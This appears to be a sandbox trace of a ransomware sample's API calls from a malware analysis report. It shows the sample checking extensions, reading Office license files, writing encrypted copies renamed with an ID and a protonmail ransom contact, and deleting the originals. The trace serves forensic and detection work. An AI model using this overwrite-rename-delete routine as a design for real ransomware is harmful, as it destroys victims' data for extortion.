	[0198.548] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString=".xlsx") returned 5
	[0198.548] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.548] lstrlenW (lpString=".ppt") returned 4
	[0198.548] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.548] lstrlenW (lpString=".zip") returned 4
	[0198.548] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString=".rar") returned 4
	[0198.548] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString=".bz2") returned 4
	[0198.548] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString=".7z") returned 3
	[0198.548] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.548] lstrlenW (lpString=".dbf") returned 4
	[0198.548] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.548] lstrlenW (lpString=".1cd") returned 4
	[0198.548] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.549] lstrlenW (lpString=".jpg") returned 4
	[0198.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.549] lstrlenW (lpString=".doc") returned 4
	[0198.549] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString=".docx") returned 5
	[0198.549] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.549] lstrlenW (lpString=".pdf") returned 4
	[0198.549] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString=".xls") returned 4
	[0198.549] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString=".xlsx") returned 5
	[0198.549] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.549] lstrlenW (lpString=".ppt") returned 4
	[0198.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.549] lstrlenW (lpString=".zip") returned 4
	[0198.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString=".rar") returned 4
	[0198.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString=".bz2") returned 4
	[0198.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.549] lstrlenW (lpString=".7z") returned 3
	[0198.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.549] lstrlenW (lpString=".dbf") returned 4
	[0198.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.550] lstrlenW (lpString=".1cd") returned 4
	[0198.550] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.550] lstrlenW (lpString=".jpg") returned 4
	[0198.550] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.550] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.550] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24
	[0198.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.550] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11147) returned 1
	[0198.551] CloseHandle (hObject=0x514) returned 1
	[0198.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220
	[0198.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.551] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.551] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.552] GetLastError () returned 0x0
	[0198.552] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2b8b, lpOverlapped=0x0) returned 1
	[0198.554] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0198.555] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.555] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x104, lpOverlapped=0x0) returned 1
	[0198.555] SetEndOfFile (hFile=0x510) returned 1
	[0198.555] CloseHandle (hObject=0x510) returned 1
	[0198.555] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.555] SetEndOfFile (hFile=0x514) returned 1
	[0198.559] CloseHandle (hObject=0x514) returned 1
	[0198.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1
	[0198.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.560] lstrlenW (lpString=".doc") returned 4
	[0198.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.560] lstrlenW (lpString=".docx") returned 5
	[0198.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.560] lstrlenW (lpString=".pdf") returned 4
	[0198.560] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.560] lstrlenW (lpString=".xls") returned 4
	[0198.560] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.560] lstrlenW (lpString=".xlsx") returned 5
	[0198.560] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.560] lstrlenW (lpString=".ppt") returned 4
	[0198.560] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.560] lstrlenW (lpString=".zip") returned 4
	[0198.561] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString=".rar") returned 4
	[0198.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString=".bz2") returned 4
	[0198.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString=".7z") returned 3
	[0198.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.561] lstrlenW (lpString=".dbf") returned 4
	[0198.561] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.561] lstrlenW (lpString=".1cd") returned 4
	[0198.561] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.561] lstrlenW (lpString=".jpg") returned 4
	[0198.561] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.561] lstrlenW (lpString=".doc") returned 4
	[0198.561] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString=".docx") returned 5
	[0198.561] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.561] lstrlenW (lpString=".pdf") returned 4
	[0198.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString=".xls") returned 4
	[0198.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString=".xlsx") returned 5
	[0198.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.561] lstrlenW (lpString=".ppt") returned 4
	[0198.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.561] lstrlenW (lpString=".zip") returned 4
	[0198.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.562] lstrlenW (lpString=".rar") returned 4
	[0198.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.562] lstrlenW (lpString=".bz2") returned 4
	[0198.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.562] lstrlenW (lpString=".7z") returned 3
	[0198.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.562] lstrlenW (lpString=".dbf") returned 4
	[0198.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.562] lstrlenW (lpString=".1cd") returned 4
	[0198.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0198.562] lstrlenW (lpString=".jpg") returned 4
	[0198.562] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.562] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.562] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25
	[0198.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.563] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26524) returned 1
	[0198.563] CloseHandle (hObject=0x514) returned 1
	[0198.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220
	[0198.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.564] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.564] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.565] GetLastError () returned 0x0
	[0198.565] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x679c, lpOverlapped=0x0) returned 1
	[0198.834] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0198.836] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.836] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x106, lpOverlapped=0x0) returned 1
	[0198.836] SetEndOfFile (hFile=0x510) returned 1
	[0198.836] CloseHandle (hObject=0x510) returned 1
	[0198.836] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.836] SetEndOfFile (hFile=0x514) returned 1
	[0198.839] CloseHandle (hObject=0x514) returned 1
	[0198.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1
	[0198.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.840] lstrlenW (lpString=".doc") returned 4
	[0198.840] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.840] lstrlenW (lpString=".docx") returned 5
	[0198.840] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.841] lstrlenW (lpString=".pdf") returned 4
	[0198.841] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString=".xls") returned 4
	[0198.841] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString=".xlsx") returned 5
	[0198.841] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.841] lstrlenW (lpString=".ppt") returned 4
	[0198.841] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.841] lstrlenW (lpString=".zip") returned 4
	[0198.841] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString=".rar") returned 4
	[0198.841] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString=".bz2") returned 4
	[0198.841] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString=".7z") returned 3
	[0198.841] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.841] lstrlenW (lpString=".dbf") returned 4
	[0198.841] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.841] lstrlenW (lpString=".1cd") returned 4
	[0198.841] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.841] lstrlenW (lpString=".jpg") returned 4
	[0198.841] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.841] lstrlenW (lpString=".doc") returned 4
	[0198.841] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.841] lstrlenW (lpString=".docx") returned 5
	[0198.842] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.842] lstrlenW (lpString=".pdf") returned 4
	[0198.842] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString=".xls") returned 4
	[0198.842] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString=".xlsx") returned 5
	[0198.842] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.842] lstrlenW (lpString=".ppt") returned 4
	[0198.842] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.842] lstrlenW (lpString=".zip") returned 4
	[0198.842] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString=".rar") returned 4
	[0198.842] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString=".bz2") returned 4
	[0198.842] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString=".7z") returned 3
	[0198.842] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.842] lstrlenW (lpString=".dbf") returned 4
	[0198.842] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.842] lstrlenW (lpString=".1cd") returned 4
	[0198.842] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0198.842] lstrlenW (lpString=".jpg") returned 4
	[0198.842] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.842] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.843] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29
	[0198.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.843] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11596) returned 1
	[0198.843] CloseHandle (hObject=0x514) returned 1
	[0198.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0198.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.844] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.844] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.845] GetLastError () returned 0x0
	[0198.845] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d4c, lpOverlapped=0x0) returned 1
	[0198.848] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0198.849] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.849] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0198.849] SetEndOfFile (hFile=0x510) returned 1
	[0198.850] CloseHandle (hObject=0x510) returned 1
	[0198.850] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.850] SetEndOfFile (hFile=0x514) returned 1
	[0199.300] CloseHandle (hObject=0x514) returned 1
	[0199.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1
	[0199.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
